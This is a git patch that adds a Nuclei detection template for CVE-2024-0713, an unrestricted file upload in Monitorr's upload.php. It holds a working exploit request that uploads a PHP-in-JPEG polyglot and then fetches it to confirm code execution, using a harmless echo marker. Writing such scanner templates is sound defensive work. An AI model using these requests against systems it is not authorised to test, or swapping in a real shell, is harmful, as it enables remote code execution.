From 66c0eac175a15442440b8ad2c2812f100515cfec Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 19 Feb 2024 14:38:16 +0530 Subject: [PATCH] Create CVE-2024-0713.yaml --- http/cves/2024/CVE-2024-0713.yaml | 65 +++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 http/cves/2024/CVE-2024-0713.yaml diff --git a/http/cves/2024/CVE-2024-0713.yaml b/http/cves/2024/CVE-2024-0713.yaml new file mode 100644 index 0000000000..8599bc3b3f --- /dev/null +++ b/http/cves/2024/CVE-2024-0713.yaml @@ -0,0 +1,65 @@ +id: CVE-2024-0713 + +info: + name: Monitorr Services Configuration upload.php Unrestricted File Upload + author: DhiyaneshDK + severity: high + description: | + "A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way." + reference: + - https://vuldb.com/?ctiid.251539 + - https://vuldb.com/?id.251539 + - https://github.com/Tropinene/Yscanner + - https://github.com/fkie-cad/nvd-json-data-feeds + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-0713 + cwe-id: CWE-434 + epss-score: 0.00061 + epss-percentile: 0.2356 + cpe: cpe:2.3:a:monitorr:monitorr:1.7.6m:*:*:*:*:*:*:* + metadata: + vendor: monitorr + product: monitorr + verified: true + fofa-query: icon_hash="-211006074" + tags: cve,cve2024,file-upload,intrusive,monitorr + +variables: + file: "{{to_lower(rand_text_alpha(5))}}" + +flow: http(1) && http(2) + +http: + - raw: + - | + POST /assets/php/upload.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaquxwjsn + Accept-Encoding: gzip, deflate, br + + ------WebKitFormBoundaryaquxwjsn + Content-Disposition: form-data; name="fileToUpload"; filename="{{file}}.php" + Content-Type: image/jpeg + + {{base64_decode('/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Tw/cGhwIGVjaG8gJ3h4eHh4eGF0ZmVyc290Zyc7Pz4=')}} + ------WebKitFormBoundaryaquxwjsn-- + + matchers: + - type: word + part: body + words: + - "has been uploaded to:" + + - raw: + - | + GET /assets/data/usrimg/{{file}}.php HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: word + part: body + words: + - "atfersotg"